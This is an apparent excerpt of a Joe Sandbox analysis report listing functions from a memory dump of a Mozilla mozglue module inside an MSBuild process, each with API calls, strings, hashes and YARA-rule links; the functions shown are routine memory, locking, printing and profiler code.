Instruction Fuzzy Hash: 8321F871A002059BDB00CF69CC40F7ABBB9FF86319F254129E815DB351E735D951C7A4

Function 6C4EB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C4EB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4EB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4EB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4EB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4EB849

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: a585529cc1a5bf8de3f8845b9aa14a60d4d01420c5deb2b1c99f93c04deb7c97
Instruction ID: e3166a2f54509dc78b5704b20c888329f59ecc17654b095ef4d950e122de2b64
Opcode Fuzzy Hash: a585529cc1a5bf8de3f8845b9aa14a60d4d01420c5deb2b1c99f93c04deb7c97
Instruction Fuzzy Hash: 8C215AB0E003099FDF04DFA9C8859BEBBB4EF49314F15852AEC45A7301E731A944CBA5

Function 6C546E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C546E78

Part of subcall function 6C546A10: InitializeCriticalSection.KERNEL32(6C56F618), ref: 6C546A68
Part of subcall function 6C546A10: GetCurrentProcess.KERNEL32 ref: 6C546A7D
Part of subcall function 6C546A10: GetCurrentProcess.KERNEL32 ref: 6C546AA1
Part of subcall function 6C546A10: EnterCriticalSection.KERNEL32(6C56F618), ref: 6C546AAE
Part of subcall function 6C546A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C546AE1
Part of subcall function 6C546A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C546B15
Part of subcall function 6C546A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C546B65
Part of subcall function 6C546A10: LeaveCriticalSection.KERNEL32(6C56F618,?,?), ref: 6C546B83

MozFormatCodeAddress.MOZGLUE ref: 6C546EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C546EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C546EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C546EFF

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 90ca20dd5aad4ed49170a613ff629c904f322a4174819f1e332f5a7dd2c35f65
Instruction ID: 3ded6835bef1fb69f69277e0abf76a931f78a6dcd060f9eb810e6f4beec5a9b8
Opcode Fuzzy Hash: 90ca20dd5aad4ed49170a613ff629c904f322a4174819f1e332f5a7dd2c35f65
Instruction Fuzzy Hash: CA21B271A0431A9FDB00DF29DC846EAB7F5EF84308F048039E84997350EB709A59CF92

Function 6C520D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C4E3DEF), ref: 6C520D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C4E3DEF), ref: 6C520D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C4E3DEF), ref: 6C520DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C520D97, 6C520DBE
<jemalloc>, xrefs: 6C520D92, 6C520DB9

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 1d3558b0372ef86ce6229da972074ce9074b26d5a4988a6d70c254d2471f08db
Instruction ID: 390873734b598e9dc9eaf735107cb75a232a20ca0ba9ae5b47d6095c332d97b9
Opcode Fuzzy Hash: 1d3558b0372ef86ce6229da972074ce9074b26d5a4988a6d70c254d2471f08db
Instruction Fuzzy Hash: 38F0E0313D329423D724617B4C29B7726DD67C2B14F344037F205DADD0DB68E4018698

Function 6C545850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C54586C
CloseHandle.KERNEL32 ref: 6C545878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C545898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5458C9
free.MOZGLUE(00000000), ref: 6C5458D3

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 17d474605908fb9af00e3bba4a4b6e1c502909d354479fca113d38126851cddc
Instruction ID: d7af32befe11c1a173c8c3a9d991b898dd80ec53a99616e6928cfd0cd932bddb
Opcode Fuzzy Hash: 17d474605908fb9af00e3bba4a4b6e1c502909d354479fca113d38126851cddc
Instruction Fuzzy Hash: 64012C71B05101ABDF00DF1F9C087267BB8EBA33297664276E519D2232DB319C148F89

Function 6C537620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5375C4,?), ref: 6C53762B

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5374D7,6C5415FC,?,?,?), ref: 6C537644
GetCurrentThreadId.KERNEL32 ref: 6C53765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5374D7,6C5415FC,?,?,?), ref: 6C537663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5374D7,6C5415FC,?,?,?), ref: 6C537677

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 9a663c66834c4f3cfeded3d9b3cacd685afcbbe504b02aa6e15d62d35b5b480b
Instruction ID: 33f03d41b765ff5bdf0872ddc942b6ad81a5d447b0e51774b055dbf015501722
Opcode Fuzzy Hash: 9a663c66834c4f3cfeded3d9b3cacd685afcbbe504b02aa6e15d62d35b5b480b
Instruction Fuzzy Hash: D0F0FF71E10345ABD3009F22CC88A76B778FFEA258F12431AF90442611EBB0A9D08BD0

Function 6C541700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C541800

Part of subcall function 6C51CBE8: GetCurrentProcess.KERNEL32(?,6C4E31A7), ref: 6C51CBF1
Part of subcall function 6C51CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4E31A7), ref: 6C51CBFA

Part of subcall function 6C4E4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C523EBD,6C523EBD,00000000), ref: 6C4E42A9

Strings

name, xrefs: 6C541939
{marker.name} - {marker.data.name}, xrefs: 6C5418C7
Details, xrefs: 6C541925

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: dca9456db56900debfaafa210ed6c19dd6f370df0c739960b79a08dbf9f1d113
Instruction ID: 34e20e5e0853cf6226aa7e7b9c8e46077299a4ff8513987d62105c9125559bed
Opcode Fuzzy Hash: dca9456db56900debfaafa210ed6c19dd6f370df0c739960b79a08dbf9f1d113
Instruction Fuzzy Hash: 057103B1A00346DFD704DF29D854BAABBB1FF85344F40466DD8154BB41DB70AAA8CBE1

Function 6C54B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C54B0A6,6C54B0A6,?,6C54AF67,?,00000010,?,6C54AF67,?,00000010,00000000,?,?,6C54AB1F), ref: 6C54B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C54B0A6,6C54B0A6,?,6C54AF67,?,00000010,?,6C54AF67,?,00000010,00000000,?), ref: 6C54B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C54B0A6,6C54B0A6,?,6C54AF67,?,00000010,?,6C54AF67,?,00000010), ref: 6C54B25F

Strings

map/set<T> too long, xrefs: 6C54B1FA

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 5236ad7912157ed2821e6267a7fef74c00f3819dfc0d1e0f572e61519ecfe178
Instruction ID: 170f58cc8e1a6cd3c3d435351c7576a2e08c3115287417aef23939f3337208fc
Opcode Fuzzy Hash: 5236ad7912157ed2821e6267a7fef74c00f3819dfc0d1e0f572e61519ecfe178
Instruction Fuzzy Hash: 18616974A04A45CFD701DF19C884A9ABBF2FF8A318F18C599D8598BB52D331EC45CBA1

Function 6C50D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C51CBE8: GetCurrentProcess.KERNEL32(?,6C4E31A7), ref: 6C51CBF1
Part of subcall function 6C51CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4E31A7), ref: 6C51CBFA

EnterCriticalSection.KERNEL32(6C56E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6C51D1C5), ref: 6C50D4F2
LeaveCriticalSection.KERNEL32(6C56E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6C51D1C5), ref: 6C50D50B

Part of subcall function 6C4ECFE0: EnterCriticalSection.KERNEL32(6C56E784), ref: 6C4ECFF6
Part of subcall function 6C4ECFE0: LeaveCriticalSection.KERNEL32(6C56E784), ref: 6C4ED026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6C51D1C5), ref: 6C50D52E
EnterCriticalSection.KERNEL32(6C56E7DC), ref: 6C50D690
LeaveCriticalSection.KERNEL32(6C56E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6C51D1C5), ref: 6C50D751

Strings

MOZ_CRASH(), xrefs: 6C50D4BB

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: a9cbf9e015de472a4033159c2818579f3d094e3d5fbba684a03ca3a9441fb460
Instruction ID: 4e1f92cc1dca2467975c5d101e90376b4013873581bbfcb7c11e96fb7ce0db71
Opcode Fuzzy Hash: a9cbf9e015de472a4033159c2818579f3d094e3d5fbba684a03ca3a9441fb460
Instruction Fuzzy Hash: 3C51EF71B087018FD314CF29C99472AB7E1EB8A304F554A2EE999C7F95E770A840CB91

Function 6C534630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C534721

Strings

profiler-paused, xrefs: 6C5346E4
-%llu, xrefs: 6C534733
., xrefs: 6C53476A

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 64cde2ced348b0aaff1659a0fa5f85da3dc6ba2108677eb2197f93b16e862e12
Instruction ID: d0092b530a8a554d47dd8e631a3f198536a0a79a523a499be345ddbe44937b94
Opcode Fuzzy Hash: 64cde2ced348b0aaff1659a0fa5f85da3dc6ba2108677eb2197f93b16e862e12
Instruction Fuzzy Hash: C7417572F086189BCB08CF78DC5115EBBE5EF85354F11863EE849ABB81FB3198448782

Function 6C559830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C55985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C55987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C5598DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C5598D9

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 2cf179d405926b3a32d071dcc0faf43a033a4c3fade0ce7643f71015a28efe79
Instruction ID: 484a7c7cb7097d39eebc99b791812cd10903346171b44b3ef07895b592249225
Opcode Fuzzy Hash: 2cf179d405926b3a32d071dcc0faf43a033a4c3fade0ce7643f71015a28efe79
Instruction Fuzzy Hash: D8312671A04108ABDB14AF5ADC046EE77A9DF85314F40402DEA0A9BB40DB716D158BE1

Function 6C5346E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C534721

Part of subcall function 6C4E4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C523EBD,00000017,?,00000000,?,6C523EBD,?,?,6C4E42D2), ref: 6C4E4444

Strings

profiler-paused, xrefs: 6C5346E4
-%llu, xrefs: 6C534733
., xrefs: 6C53476A

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 14307bab1e4aa59a8bf387a49685544e20feb575ed65d530d40b236ec082a7d7
Instruction ID: 8481a8d2e41a6eca20decdff82ea2c7c9970a2c0aa75798684d35fb6a8cce5f1
Opcode Fuzzy Hash: 14307bab1e4aa59a8bf387a49685544e20feb575ed65d530d40b236ec082a7d7
Instruction Fuzzy Hash: D0312871F042189BCB08CF6DDC956AEBBE6DB88314F15863EE8099BB41F7719C058B90

Function 6C53B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4E4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C523EBD,6C523EBD,00000000), ref: 6C4E42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C53B127), ref: 6C53B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C53B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C53B4E4

Strings

pid:, xrefs: 6C53B4DE

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 695b2c802c4b350f99ec4f8ed23223c38d16af9fc4670986cce9fa1409015497
Instruction ID: d59e950f5f2b3bcee2e38fb4c94427174ff568bf64ca89e4401b99c5884728d8
Opcode Fuzzy Hash: 695b2c802c4b350f99ec4f8ed23223c38d16af9fc4670986cce9fa1409015497
Instruction Fuzzy Hash: FC312331A01628CBCB00EFA9DC80AAEB7B6FF44318F541529D84967A41F731A845CBF5

Function 6C4FBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C547A3F), ref: 6C4FBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C547A3F), ref: 6C4FBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C547A3F), ref: 6C4FBF7E

Strings

Ul, xrefs: 6C4FBF84

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: Ul
API String ID: 4279176481-397755254
Opcode ID: 6f3f024b4cd36b5b40ecb9fcdc9a39588d6260d0aac00586fe9abb591838ceb9
Instruction ID: 460926e967f2773a9596389532d014f45925a7451907c1765e7779f94ce2e278
Opcode Fuzzy Hash: 6f3f024b4cd36b5b40ecb9fcdc9a39588d6260d0aac00586fe9abb591838ceb9
Instruction Fuzzy Hash: D511C0B92006048FC729CF0CDA99A26FBF8FF59304355885EE98A8B761C771E804CB94

Function 6C4EF100 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(shell32,?,6C55D020), ref: 6C4EF122
GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4EF132

Strings

SHGetKnownFolderPath, xrefs: 6C4EF12C
shell32, xrefs: 6C4EF11D

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetKnownFolderPath$shell32
API String ID: 2574300362-1045111711
Opcode ID: d8b2a355920a0631eceee43351303f3ce0e151bddaa6a9d840477340b23c1a46
Instruction ID: 70088054aea300e2e705849837ccf192ae9b2768ffa41ae5e299d7259127c963
Opcode Fuzzy Hash: d8b2a355920a0631eceee43351303f3ce0e151bddaa6a9d840477340b23c1a46
Instruction Fuzzy Hash: 71015E717012199BDB00DF6AEC48E6BBBB8FF8A755B420519F849D7740E730AD04CBA4

Function 6C52E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52E577
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52E584
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C52E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C52E722, 6C52E750, 6C52E7A2
MOZ_PROFILER_STARTUP, xrefs: 6C52E5A1, 6C52E5CC, 6C52E5FF, 6C52E62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C52E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C52E826, 6C52E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C52E777

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: f13ec44801bc64997471a6ace3d4c947866f23a937b6734d4a7f48a6516a7913
Instruction ID: f4457bce21652fd5f7db346ed60d1e028be3c01e0ed3864507aa4591a1313a07
Opcode Fuzzy Hash: f13ec44801bc64997471a6ace3d4c947866f23a937b6734d4a7f48a6516a7913
Instruction Fuzzy Hash: BC115E31A04254DFCB00AF2ACC49B6ABBF4FB89329F420619E88557F60D774A845CB99

Function 6C530C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C530CD5

Part of subcall function 6C51F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C51F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C530D40
free.MOZGLUE ref: 6C530DCB

Part of subcall function 6C505E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C505EDB
Part of subcall function 6C505E90: memset.VCRUNTIME140(ewTl,000000E5,?), ref: 6C505F27
Part of subcall function 6C505E90: LeaveCriticalSection.KERNEL32(?), ref: 6C505FB2

free.MOZGLUE ref: 6C530DDD
free.MOZGLUE ref: 6C530DF2

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
